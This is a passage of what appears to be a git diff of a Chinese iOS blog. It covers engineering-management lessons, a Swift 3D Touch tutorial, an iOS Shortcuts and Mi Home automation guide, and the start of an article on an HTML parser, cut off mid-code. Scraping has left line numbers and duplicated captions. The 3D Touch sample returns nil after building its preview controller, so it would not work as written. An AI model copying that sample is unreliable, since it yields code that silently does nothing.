Summary

可以花時間寫下激勵隊友的方法及詢問主管是否太保護隊友?

Lesson 4. — Teach how to get things done

如何以風險較低的方式完成任務。

以身作則是不錯的方法,時不時參與團隊的開發示範如何計畫、產出好的功能展現我們想傳達的理念;另外要注意,在這其中要多説 Why? (為何這樣做)、少說 How? (該怎麼做)

作者提到極度透明的文化,讓團隊成員有完整的 Context 能提高推動決策的能力。

降低風險

  1. 為了降低產出的風險,作者建議將需求拆成許多小塊迭代功能;並將此想法與其他 Team 溝通分享。
  2. Scale and performance — always have a backup plan 這功能會不會影響效能(或造成其他問題)?可以提前知道嗎?有沒有備案(開關);在沒有備案之前寧可不要實作,因為會影響團隊信心。
  3. 將任務拆解成小任務,降低 Deadline 風險 一開始可能很難,但可以訓練學習
  4. 善用同儕壓力 將任務拆給隊友共同協作,彼此共同努力(Code Review 亦也是)
  5. 持續對內及對外溝通 對內:確保期望、同步、Deadline、資源,對外:溝通、如果時間很趕了可推掉不重要會議
  6. 支援、修 Bug、文件 不是釋出功能就好,還要做好客服支援、修 Bug、還有文件
  7. 做好回顧及委派任務,提供其他人領導機會
  8. 挑選幾個能以身作則的 Task
  9. 詢問隊友學到的東西、能讓他更積極的動機、討厭的事

Lesson 5. — Delegate tasks without losing quality or visibility

委派任務的同時又不喪失品質跟能見度。

身為管理者必須做好任務委派,作者認為委派就該設定好期待並相信被指派的隊友有能力執行並是有機會學到東西及保有發生錯誤的空間,管理者另一方面也要保護隊友來自公司的壓力。

作者使用以下表格進行記錄:

這邊主要紀錄的是對團隊目標重要的任務,日常工作不用紀錄。

  • Must 寫下任務內容

對於是否要將任務委派給隊友,作者會先問這個任務是否真的只有我能做且是屬於管理者該做的事,第二個是這個任務是否是長遠的領導任務;如果都不是則委派隊友執行。

對於要委派的任務可評估隊友的經驗、技能,找到合適的人選。

  • External 關於外部或上面期待的資源 (Feedback/Tool)
  • Delegate

Delegate 的部分,我們可以提供一頁的 Paper 闡述我們的期待、簡單的範例。

Lesson 6. — Build trust with other teams in the organization

團隊與團隊兼協作的默契。

作者闡述,組織為了能做更多事會拆分很多小組進行快速決策處理;對於各小組的方向定義其實不難(EX: iOS 就是做 iOS App),難的是要對齊所有小組的目標。

小組越多就很難統一所有人的價值觀、期望、優先權、隱含的期望。

應該要關注拆分小組的理由跟動機而非產出,否則可能導致矛盾。

作者認為要對齊各小組的方向有以下方法:

  1. 團隊要有願景,而不是只把任務處理好
  2. 管理者需要區分出需要與想要
  3. 優化團隊更快的完成正確的事而不是完成更多的事
  4. 與其他團隊經理建立良好的溝通 作者建議可以在每兩週的管理者會議分享團隊內的狀態、分享自己團隊阻礙與痛苦、接下來會做的主要任務、做的原因
  5. 與其他團隊對於優先權意見不同時,可解釋引出其他因素(EX: 這個做了之後,可以降低 CS 客訴、一勞永逸、加乘效果…)
  6. 先了解外部團隊需要我們幫忙的地方並且主動密切追蹤
  7. 再來提出我們團隊需要外部團隊幫忙的點
  8. 列好需要確認的清單,確保在會議上有討論到;如果沒有可以在會後拉相關的經理討論看有沒有其他可能
  9. 若不可能則要權衡可能會延遲時間或替代方案,並要讓關係人知道(防止在背後指指點點)
  10. 一切都是權衡

另外還有 5 個讓隊友能與其他團隊建立密切關係的方法:

  • 簡單的感謝信(感謝協助)
  • 交換團隊工作
  • 內部技術年會,互相分享
  • 一起觀察使用者使用狀況,一起腦力激盪提出優化方向
  • 邀請一位其他 Team 的隊友加入我們的工作

Summary

「 imagine that someone from Team A drops a feature that Team B needs, due to an urgent support issue. Without communicating this priority change to Team B, trust will be decreased even if it’s a justified priority change.」

difference between transactional trust and relational/emotional trust

  • 了解交易信任與關係信任。
  • 交易信任 — — 人們是否會履行承諾並完成任務
  • 關係信任 — — 人們是否以建立和保護關係的方式行事

Lesson 7. — Optimize for business learning

建立商業學習文化而不是建造文化、優化吞吐量、優化的價值。

  • 過早的優化是災難
  • 優化當前問題為重,不要為了優化而優化
  • 即使不是整個專案的負責人,我們仍可就內部運作進行優化,大的成功多半來自小部分的優化累積
  • 身為管理者我們必須展現決策背後的動機
  • 建立商業學習(價值)文化大與建造文化(重點不是建造解法,而是我們試圖解決的商業問題)
  • 優化效率 vs 優化吞吐量問題: 優化效率:解決單一 task 的時間 優化吞吐量:一個時間範圍內(EX: 一季) 能解決多少 task
  • 知道每個優化的 Impact,
  • 自動化的重要(能一勞永逸節省時間)

使用 AARRR 原則為價值優化:

  • Acquisition:如何引入更多使用者
  • Activation:如何引導使用者完成讓他了解產品價值的任務(EX: 鬧鐘 App,新手引導他完成設立一個鬧鐘)
  • Retention:提升回訪率,回來使用次數
  • Referrer:讓你的使用者、內容,帶來更多流量
  • Revenue:數字化評估使用者帶來的收入

這五項息息相關,如果因為 Retention 低,可能可以同步調整 Referrer、Acquisition。

身為工程管理者,我們要做的不是埋頭寫 Code 或是全心投入在技術;時不時應該要重新對齊產品價值。

當產品還在草創初試市場狀態時,應該要以優化效率(快速解決任務釋出)為主,重複著以下流程:

功能能提升 Retention -> 釋出功能 -> 學習 -> 調整&重複。

評估功能到釋出每個階段可以優化的地方(花太多時間在設計?在討論?)

可以投資 20% 時間減少 80% 的開發時間嗎?尤其是令人痛苦的點

可以先實驗或發布給最小受眾嗎?避免功能很大包結果最後沒人用。

  • 要做好數據追蹤,才能了解努力的成效

「If you can’t make engineering decisions based on data, then make engineering decisions that result in data.”」

雖然相較「這功能不做,公司會倒閉」跟「這功能會導致技術債」,前者當然更可怕;對於技術債,作為管理者如果能爭取更多時間解決我們應該就要做到,我們應該要做好溝通及控管。

優化可能不會用到的程式意義不大。

  • 過了草創試驗期,產品模式趨於穩定;這時候比較適合優化的是吞吐量(EX: 給定 X 資源,得到 Y 產出)
  • 給予商業需求可預測性(同上)

追蹤團隊產出 (EX: 「01/01/2013–14/01/2013: 2 Large features, 5 Medium features, 4 Small ),經過長期統計;可以藉此提供預測。

找出&解決瓶頸:

  • 同步的溝通:例如產品開發流程,需要設計資源;在進到工程開發階段,我們是否已經有明確的規格可執行開發?還是在等待?還是有什麼我們可以先做的?
  • 基礎設施:讓程式碼好擴充、好維護
  • 自動化:使用自動化處理繁瑣的人工操作,節省時間之餘也能避免出錯

因為商業策略隨時在改變,我們應該對於優化策略保有更開放彈性的想法,優化的總結還是以商業需求為主。

Lesson 8. — Use Inbound Recruiting to attract better talent

關於招募。

平時就要開始做以下事項,防止突然缺人才要開始,那只能回到傳統找人方式,不停的面試但卻很難找到合適的人。

對內:

  • 培養良好的工程文化環境 (EX: Code Review、年會…)
  • 打造吸引人的工作環境
  • 像經營品牌一樣
  • 團隊成員共同努力
  • 加強人與人的連結(EX: 慶生)
  • 先讓成員是對團隊感到驕傲的

對外:

  • 內部團隊每週定時對外回答社群問題 (EX: Stackoverflow. . ),加強曝光
  • 在程式中隱藏招募彩蛋(EX: 網頁開發者工具)
  • 與社群分享我們團隊遇到的問題及解決方法(文章 or Talk)
  • 舉辦黑客松
  • 建立 Side Project (EX: 開源專案)

分配以上各任務給團隊成員,大家一起為找到好人才貢獻一份心力。

Lesson 9. — Build a scalable team

打造可擴充的團隊。

建立可擴充程式以是我們之前擔任工程是該有的職責,但現在要挑戰的是打造可擴充團隊。

不像程式,人有期待、需要、夢想要顧及。

作者想要打要一個快樂的工作環境、隊友之間了解任務的期待、新挑戰;而且要能持續保持這份熱情。

  • 對齊目標 對齊個人願景與公司目標,如果不了解當前公司的目標很可能造成團隊功能失調。
  • 對齊核心價值 算是共識及默契,對於做事方式、什麼重要的默契;團隊核心價值也不是一成不變,要與時俱進。
  • 平衡 對於團成員的職能、成長,分配不同的願景、自主權、擁有全;互相協作一起成長(EX: 新人只期待能了解公司做事流程,老鳥要 Code Review、指導);每個人都應該要有成長性。
  • 團體的核心價值觀大於個體 可能導致有人離職,也需要時間耐心才可能實現;也有許多挑戰 (EX: 有人離職時會質疑核心價值)
  • 成就感 成果要能有成就感,做為管理者不能讓隊友干燒熱情

實踐

1. 定義團隊願景 EX: 作者的團隊是做爬蟲的,他的團隊願景就是「To build the largest, most informative profile-database in the world.」 請注意是願景,不是短期目標也不想做的事。

2. 定義團隊核心價值 在挑選核心價值時可以「這個價值重要到會因為沒有而開除某人嗎?」 寫下核心價值、原因。 作者提供以下幾個他寫的核心價值: - 不要讓別人(其他團隊)來收拾善後,自己(團隊)的錯誤自己要承擔 - 對團隊所有成員保持忠誠尊重 有了核心價值在招募或開除更有評斷準則,還有更能有做事的基準。

定義成員對團隊對管理者的期待

  • 提供具有生產力且開心的工作環境
  • 知道 Task 的 Why 而不是 How
  • 能夠得到真實的 Feedback
  • 有機會帶領其他成員
  • 能夠分享工作成果

定義對團隊成員的期待

基本期待:

  • 完成任務
  • 保持學習熱忱
  • 保持分享、教學熱忱
  • 知道做事的底線 sense

個人期待:

  • 依照能力設定期待
  • 有能力訓練他人改變
  • 推動改變而不是抱怨

我們是團隊,團隊成員有自己的責任跟要交付的成果,同時也要與其他人協作,幫助他人,互相成長;定義期待像是種契約,在原本的同事關係變成管理者關係之下,能更好更有目的的領導;定義這些項目不容易,需要時間、耐心去迭代。

「You can’t empower people by approving their actions. You empower by designing the need for your approval out of the system.」

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Visitor Pattern in iOS (Swift)

生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱

diff --git a/posts/1ca246e27273/index.html b/posts/1ca246e27273/index.html new file mode 100644 index 000000000..2b52f73f4 --- /dev/null +++ b/posts/1ca246e27273/index.html @@ -0,0 +1,159 @@ + 提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift) | ZhgChgLi
Home 提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)
Post
Cancel

提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)

[TL;DR]提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)

iOS 3D TOUCH 應用

[TL;DR] 2020/06/14

iPhone 11 以上版本已取消 3D Touch 功能;改用 Haptic Touch 取代,實作方式也有所不同。

前陣子在專案開發閒暇之時,探索了許多 iOS 的有趣功能: CoreMLVisionNotification Service Extension 、Notification Content Extension、Today Extension、Core Spotlight、Share Extension、SiriKit (部分已整理成文章、其他項目敬請期待🤣)

其中還有今日的主角: 3D Touch功能

這個早在 iOS 9/iPhone 7之後 就開始支援的功能,直到我自己從iPhone 6換到iPhone 8 後才體會到它的好用之處!

3D Touch能在APP中實做兩個項目,如下:

1. Preview ViewController 預覽功能 — [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

1. Preview ViewController 預覽功能 — 結婚吧APP

2. 3D Touch Shortcut APP 捷徑啟動功能

2. 3D Touch Shortcut APP 捷徑啟動功能

其中第一項是應用最廣且效果最好的 (Facebook:動態消息內容預覽、Line:偷看訊息),第二項 APP 捷徑啟動 目前看數據是鮮少人使用所以放最後在講。

1. Preview ViewController 預覽功能:

功能展示如上圖1所示,ViewController 預覽功能支援

  • 3D Touch重壓時背景虛化
  • 3D Touch重壓住時跳出ViewController預覽視窗
  • 3D Touch重壓住時跳出ViewController預覽視窗,往上滑可在下方加入選項選單
  • 3D Touch重壓放開返回視窗
  • 3D Touch重壓後再用力進入目標ViewController

這裡將分 A:列表視窗B:目標視窗 個別列出要實作的程式碼:

由於在 B中 沒有方式能判斷當前是預覽還是真的進入此視窗,所以我們先建立一個Protocol傳遞值,用來判斷

1
+2
+
protocol UIViewControllerPreviewable {
+    var is3DTouchPreview:Bool {get set}
+

這樣我們就能在 B中 做以下判斷:

1
+2
+3
+4
+
class BViewController:UIViewController, UIViewControllerPreviewable {
+     var is3DTouchPreview:Bool = false
+     override func viewDidLoad() {
+     super.viewDidLoad()
+

A:列表視窗,可以是 UITableView 或 UICollectionView:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+
class AViewController:UIViewController {
+    //註冊能3D Touch 的 View
+    override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) {
+        super.traitCollectionDidChange(previousTraitCollection)
+        if traitCollection.forceTouchCapability == .available {
+            //TableView:
+            registerForPreviewing(with: self, sourceView: self.TableView)
+            //CollectionView:
+            registerForPreviewing(with: self, sourceView: self.CollectionView)
+        }
+    }   
+}
+extension AViewController: UIViewControllerPreviewingDelegate {
+    //3D Touch放開後,要做的處理
+    func previewingContext(_ previewingContext: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController) {
+        
+        //現在要直接跳轉的該頁面了,所以將ViewController的預覽模式參數取消:
+        if var viewControllerToCommit = viewControllerToCommit as? UIViewControllerPreviewable {
+            viewControllerToCommit.is3DTouchPreview = false
+        }
+        self.navigationController?.pushViewController(viewControllerToCommit, animated: true)
+    }
+    
+    //控制3D Touch的Cell位置,欲顯示的ViewController
+    func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController? {
+        
+        //取得當前點的indexPath/cell實體
+        //TableView:
+        guard let indexPath = TableView.indexPathForRow(at: location),let cell = TableView.cellForRow(at: indexPath) else { return nil }
+        //CollectionView:
+        guard let indexPath = CollectionView.indexPathForItem(at: location),let cell = CollectionView.cellForItem(at: indexPath) else { return nil }
+      
+        //欲顯示的ViewController
+        let targetViewController = UIStoryboard(name: "StoryboardName", bundle: nil).instantiateViewController(withIdentifier: "ViewControllerIdentifier")
+        
+        //背景虛化時保留區域(一般為點擊位置),附圖1
+        previewingContext.sourceRect = cell.frame
+        
+        //3D Touch視窗大小,預設為自適應,不需更改
+        //要修改請用:targetViewController.preferredContentSize = CGSize(width: 0.0, height: 0.0)
+        
+        //告知預覽的ViewController目前為預覽模式:
+        if var targetViewController = targetViewController as? UIViewControllerPreviewable {
+            targetViewController.is3DTouchPreview = true
+        }
+        
+        //回傳nil則無任何作用
+        return nil
+    }
+}
+

請注意!其中的註冊能3D Touch 的 View 這塊要放在 traitCollectionDidChange 之中而非 “viewDidLoad” ( 請參考此篇內容 )

關於要加放在哪裡這塊我踩了許多雷,網路有些資料寫viewDidLoad、有的寫在cellforItem中,但這兩個地方都會出現偶爾失效或部分cell失效的問題。

附圖1 背景虛化保留區示意圖

附圖1 背景虛化保留區示意圖

如果您需要上滑後在下方加入選項選單請在 B 之中加入,是B 是B 是B哦!

1
+2
+3
+4
+5
+6
+
override var previewActionItems: [UIPreviewActionItem] {
+  let profileAction = UIPreviewAction(title: "查看商家資訊", style: .default) { (action, viewController) -> Void in
+    //點擊後的操作
+  }
+  return [profileAction]
+}
+

回傳空陣列表示不使用此功能。

完成!

2. APP 捷徑啟動

第一步

在 info.plist 中加入 UIApplicationShortcutItems 參數,類型 Array

並在其中新增選單項目(Dictionary),其中Key-Value的設定對應如下:

  • [必填] UIApplicationShortcutItemType : 識別字串,在AppDelegate中做判斷使用
  • [必填] UIApplicationShortcutItemTitle : 選項標題
  • UIApplicationShortcutItemSubtitle : 選項子標題

  • UIApplicationShortcutItemIconType : 使用系統圖標

參考自 [此篇文章](https://qiita.com/kusumotoa/items/f33c89f150cd0937d003){:target="_blank"}

參考自 此篇文章

  • UIApplicationShortcutItemIconFile : 使用自定義圖標(size:35x35,單色),與UIApplicationShortcutItemIconType擇ㄧ使用
  • UIApplicationShortcutItemUserInfo : 更多附加資訊EX: [id:1]

我的設定如上圖

我的設定如上圖

第二步

在AppDelegate中新增處理的Function

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
func application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) {
+    var info = shortcutItem.userInfo
+  
+    switch shortcutItem.type {
+    case "searchShop":
+      //
+    case "topicList":
+      //
+    case "likeWorksPic":
+      //
+    case "marrybarList":
+      //
+    default:
+        break
+    }
+    completionHandler(true)
+}
+

完成!

結語

在APP中加入 3D Touch的功能並不難,對使用者來說也會覺得很貼心❤;可以搭配設計操作增加使用者體驗;但目前就只有上述兩個功能可做在加上iPhone 6s以下/iPad/iPhone XR都不支援3D Touch所以實際能做的功能又更少了,只能以輔助、增加體驗為主。

p.s.

如果你測的夠細會發現以上效果,在CollectionView滑動中圖有部分已經滑出畫面這時按壓就會出現以上情況😅

如果你測的夠細會發現以上效果,在CollectionView滑動中圖有部分已經滑出畫面這時按壓就會出現以上情況😅

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!

iOS UUID 的那些事 (Swift/iOS ≥ 6)

diff --git a/posts/21119db777dd/index.html b/posts/21119db777dd/index.html new file mode 100644 index 000000000..50e4b64e7 --- /dev/null +++ b/posts/21119db777dd/index.html @@ -0,0 +1 @@ + iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居 | ZhgChgLi
Home iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居
Post
Cancel

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居

iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居

直接使用 iOS ≥ 13.1 內建的捷徑APP完成自動化操作

前言

今年 7 月初的時候買了米家檯燈 Pro、米家 LED 智慧檯燈兩個智能設備,差別在一個能支援HomeKit,一個僅支援米家;當時寫了篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 」文章,裡面提到如何在沒有 HomePod/AppleTV/iPad 下完成離家、到家兩種模式的智慧功能,步驟有點麻煩。

這次 iOS ≥13.1 (注意是 13.1 之後才開放),內建的「 捷徑 」APP ( 若找不到請從 Store 下載回來) 支援自動化功能;如果 IFTTT、米家米家智慧,只是現在不用再特別使用第三方APP囉!

p.s 如果你有HomePod、apple tv、iPad 完全不用看這篇文章;可以直接把設備設成家庭中樞即可!

達成效果

進入、離開設定區域會收到捷徑執行通知,點擊後會自動執行。

如何使用

1.先打開米家APP

切換到「我的」->「智慧」

切換到「我的」->「智慧」

這裡假設你已經把設備加入米家了。

選擇「手動執行」

選擇「手動執行」

這裡再提一下為什麼不直接用米家的「離開或到達某地」,第一是 大陸用的GPS有偏移 小米沒針對此修正,第二是他只能設定地圖上有地標的地點,他是大陸高德地圖很少台灣地標。

下拉「智慧裝置」區塊,新增要操作的裝置及動作

下拉「智慧裝置」區塊,新增要操作的裝置及動作

點擊「繼續增加」加入所有要操作的設備

點擊「繼續增加」加入所有要操作的設備

範例以「離家」模式為例,離家時我希望能關閉風扇、燈;打開攝影機。

點擊右上角「儲存」,輸入此智慧操作的名稱

點擊右上角「儲存」,輸入此智慧操作的名稱

回到列表,點「加入 Siri 」

回到列表,點「加入 Siri 」

點擊要加入的智慧操作旁的「加入 Siri 」

點擊要加入的智慧操作旁的「加入 Siri 」

輸入「呼叫Siri 時的指令」-> 「Add to Siri」

輸入「呼叫Siri 時的指令」-> 「Add to Siri」

這邊要注意! 指令不可以與 iOS 內建指令衝突!

2.打開 「 Siri捷徑 」 APP

切換到「自動化」頁籤,點擊右上角「+」

切換到「自動化」頁籤,點擊右上角「+」

若沒有「自動化」頁籤請確認您的 iOS 版本是否高於 13.1。

選擇「製作個人自動化操作」

選擇「製作個人自動化操作」

選擇類型「抵達」或「離開」

選擇類型「抵達」或「離開」

設定「位置」

設定「位置」

搜尋位置或使用當前位置,點「完成」

搜尋位置或使用當前位置,點「完成」

下方可設定自動執行時間範圍,點右上角「下一步」

下方可設定自動執行時間範圍,點右上角「下一步」

因為離家、到家是全天候都要偵測的事件;所以這邊就不設會執行的時間範圍了!

點選「加入動作」

點選「加入動作」

選擇「工序指令」

選擇「工序指令」

滑到「捷徑」區塊,選擇「執行捷徑」

滑到「捷徑」區塊,選擇「執行捷徑」

點選「捷徑」區塊

點選「捷徑」區塊

找到剛在米家「加入 Siri」設定的「呼叫Siri 時的指令」,選擇

找到剛在米家「加入 Siri」設定的「呼叫Siri 時的指令」,選擇

點右上角「完成」

點右上角「完成」

首頁就會出現剛新增的自動化操作囉!

首頁就會出現剛新增的自動化操作囉!

完成!

實際執行結果

當離開、進入設定地址的範圍時,手機、Apple Watch 就會收到執行捷徑的動作通知,點擊即可執行!

1.GPS感應範圍存在 100 公尺誤差

2. 所謂「自動化」只是自動通知你按執行 ,不是真的自動在背景執行動作

以上兩個痛點要解決就只能用文章開頭所說的,買一台HomePod或是找一台 apple tv/iPad 當家庭中樞。

iPhone上 :

執行通知

執行通知

點擊即可「執行」

點擊即可「執行」

請注意,會要求解鎖手機後才能。

執行失敗也會反饋!

執行失敗也會反饋!

有時候米家設備網路問題會執行失敗。

Apple Watch 上:

點擊即可執行

點擊即可執行

不同於 IFTTT 原生內建 APP 的強大就在於它手錶上的通知也能執行。 (IFTTT的是純通知,還是要拿手機出來點執行)

除此之外

使用 Siri 呼叫執行

使用 Siri 呼叫執行

因為已將米家智慧操作場景加入到 Siri 了,所以也可以呼叫 Siri 執行動作!

離智能生活又更近一步了!

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

小米智慧家居新添購

iOS Deferred Deep Link 延遲深度連結實作(Swift)

diff --git a/posts/2724f02f6e7/index.html b/posts/2724f02f6e7/index.html new file mode 100644 index 000000000..a04241e67 --- /dev/null +++ b/posts/2724f02f6e7/index.html @@ -0,0 +1,2375 @@ + 手工打造 HTML 解析器的那些事 | ZhgChgLi
Home 手工打造 HTML 解析器的那些事
Post
Cancel

手工打造 HTML 解析器的那些事

手工打造 HTML 解析器的那些事

ZMarkupParser HTML to NSAttributedString 渲染引擎的開發實錄

HTML String 的 Tokenization 轉換、Normalization 處理、Abstract Syntax Tree 的產生、Visitor Pattern / Builder Pattern 的應用, 還有一些雜談…

接續

去年發表了篇「[ TL;DR] 自行實現 iOS NSAttributedString HTML Render 」的文章,粗淺的介紹可以使用 XMLParser 去剖析 HTML 再將其轉換成 NSAttributedString.Key,文中的程式架構及思路都很零亂,因是過水紀錄一下之前遇到的問題及當初並沒有花太多時間研究此議題。

Convert HTML String to NSAttributedString

再次重新探討此議題,我們需要能將 API 給的 HTML 字串轉換成 NSAttributedString ,並套用對應樣式放到 UITextView/UILabel 中顯示。

e.g. &lt;b&gt;Test&lt;a&gt;Link&lt;/a&gt;&lt;/b&gt; 要能顯示成 Test Link

  • 註1 不建議使用 HTML 做為 App 與資料間的溝通渲染媒介,因 HTML 規格過於彈性,App 無法支援所有 HTML 樣式,也沒有官方的 HTML 轉換渲染引擎。
  • 註2 iOS 14 開始可使用官方原生的 AttributedString 解析 Markdown或引入 apple/swift-markdown Swift Package 解析 Markdown。
  • 註3 因敝司專案龐大且已應用 HTML 做為媒介多年,所以暫時無法全面更換為 Markdown 或其他 Markup。
  • 註4 這邊的 HTML 並不是要用來顯示整個 HTML 網頁,只是把 HTML 做為樣式 Markdown 渲染字串樣式。 (要渲染整頁、複雜包含圖片表格的 HTML,依然要使用 WevView loadHTML)

強烈建議使用 Markdown 做為字串渲染媒介語言,如果您的專案跟我有一樣困擾不得不使用 HTML 並苦無優雅的 to NSAttributedString 轉換工具, 再請使用。

還記得上一篇文章的朋友也可以直接跳到 ZhgChgLi / ZMarkupParser 章節。

NSAttributedString.DocumentType.html

網路上能找到的 HTML to NSAttributedString 的做法都是要我們直接使用 NSAttributedString 自帶的 options 渲染 HTML,範例如下:

1
+2
+3
+4
+5
+6
+7
+
let htmlString = "<b>Test<a>Link</a></b>"
+let data = htmlString.data(using: String.Encoding.utf8)!
+let attributedOptions:[NSAttributedString.DocumentReadingOptionKey: Any] = [
+  .documentType :NSAttributedString.DocumentType.html,
+  .characterEncoding: String.Encoding.utf8.rawValue
+]
+let attributedString = try! NSAttributedString(data: data, options: attributedOptions, documentAttributes: nil)
+

此做法的問題:

  • 效能差:此方法是透過 WebView Core 去渲染出樣式,再切回 Main Thread 給 UI 顯示;渲染 300 多個字元就需 0.03 Sec。
  • 會吃字:例如行銷文案可能會使用 &lt;Congratulation!&gt; 會被當成 HTML Tag 被去除掉。
  • 無法客製化:例如無法指定 HTML 的粗體在 NSAttributedString 中對應的粗體程度。
  • iOS ≥ 12 開始會零星閃退的問題且官方無解
  • 在 iOS 15 出現 大量閃退 ,測試發現低電量情況下會 100% 閃退 (iOS ≥ 15.2 已修正)
  • 字串太長會閃退,實測輸入超過 54,600+ 長度字串就會 100% 閃退 (EXC_BAD_ACCESS)

對與我們最痛的還是閃退問題,iOS 15 發佈到 15.2 修正之前,App 始終被此問題霸榜,從數據來看,2022/03/11~2022/06/08 就造成了 2.4K+ 次閃退、影響 1.4K+ 位使用者。

此閃退問題自 iOS 12 開始就有,iOS 15 只是踩到更大的坑,但我猜 iOS 15.2 的修正也只是補洞,官方無法根除。

其次問題是效能,因為做為字串樣式 Markup Language,會大量應用在 App 上的 UILabel/UITextView,如同前述一個 Label 就需要 0.03 Sec,列表*UILabel/UITextView 乘下來就會對使用者操作手感上產生卡頓。

XMLParser

第二個方案是 上篇文章 介紹的,使用 XMLParser 解析成對應的 NSAttributedString Key 並套用樣式。

可參考 SwiftRichString 的實現及 上一篇文章內容

上一篇也只是探究出可以使用 XMLParser 解析 HTML 並做對應轉換,然後完成實驗性的實作,但並沒有把它設計成一個有架構好擴充的「工具」。

此做法的問題:

  • 容錯率 0: &lt;br&gt; / &lt;Congratulation!&gt; / &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/b&gt;Italic&lt;/i&gt; 以上三種 HTML 有可能出現的情境,在 XMLParser 解析都會出錯直接 Throw Error 顯示空白。
  • 使用 XMLParser,HTML 字串必須完全符合 XML 規則,無法像瀏覽器或 NSAttributedString.DocumentType.html 容錯正常顯示。

站在巨人的肩膀上

以上兩個方案都不能完美優雅的解決 HTML 問題,於是開始搜尋有無現成的解決方案。

找了一大圈結果都類似上方的專案 Orz,沒有巨人的肩膀可以站。

ZhgChgLi/ZMarkupParser

沒有巨人的肩膀,只好自己當巨人了,於是自行開發了 HTML String to NSAttributedString 工具。

使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。

特色

  • 支援 HTML Render (to NSAttributedString) / Stripper (剝離 HTML Tag) / Selector 功能
  • NSAttributedString.DocumentType.html 更高的效能
  • 自動分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag)
  • 支援從 style=”color:red…” 動態設定樣式
  • 支援客製化樣式指定,例如粗體要多
  • 支援彈性可擴充標籤或自訂標籤及屬性

詳細介紹、安裝使用可參考此篇文章:「 ZMarkupParser HTML String 轉換 NSAttributedString 工具

可直接 git clone 專案 後,打開 ZMarkupParser.xcworkspace Project 選擇 ZMarkupParser-Demo Target 直接 Build & Run 起來玩玩。

[ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZMarkupParser

技術細節

再來才是本篇文章想分享的,關於開發這個工具上的技術細節。

運作流程總覽

運作流程總覽

上圖為大概的運作流程,後面文章會一步一步介紹及附上程式碼。

⚠️️️️️️ 本文會盡量簡化 Demo Code、減少抽象跟效能考量,盡量把重心放在解釋運作原理上;如需了解最終結果請參考專案 Source Code

程式碼化 — Tokenization

a.k.a parser, 解析

談到 HTML 渲染最重要的就是解析的環節,以往是透過 XMLParser 將 HTML 做為 XML 解析;但是無法克服 HTML 日常用法並不是 100% 的 XML 會造成解析器錯誤,且無法動態修正。

排除掉使用 XMLParser 這條路之後,在 Swift 上留給我們的就只剩使用 Regex 正則來做匹配解析了。

最一開始沒想太多,想說可以直接用正則挖出「成對」的 HTML Tag,再遞迴往裡面一層一層找 HTML Tag,直到結束;但是這樣沒有辦法解決 HTML Tag 可以嵌套,或想支援錯位容錯的問題,因此我們把策略改成挖成出「單個」 HTML Tag,並記錄是 Start Tag, Close Tag or Self-Closing Tag,及其他字串組合成解析結果陣列。

Tokenization 結構如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+
enum HTMLParsedResult {
+    case start(StartItem) // <a>
+    case close(CloseItem) // </a>
+    case selfClosing(SelfClosingItem) // <br/>
+    case rawString(NSAttributedString)
+}
+
+extension HTMLParsedResult {
+    class SelfClosingItem {
+        let tagName: String
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+        
+        init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) {
+            self.tagName = tagName
+            self.tagAttributedString = tagAttributedString
+            self.attributes = attributes
+        }
+    }
+    
+    class StartItem {
+        let tagName: String
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+
+        // Start Tag 有可能是異常 HTML Tag 也有可能是正常文字 e.g. <Congratulation!>, 後續 Normalization 後如果發現是孤立 Start Tag 則標記為 True。
+        var isIsolated: Bool = false
+        
+        init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) {
+            self.tagName = tagName
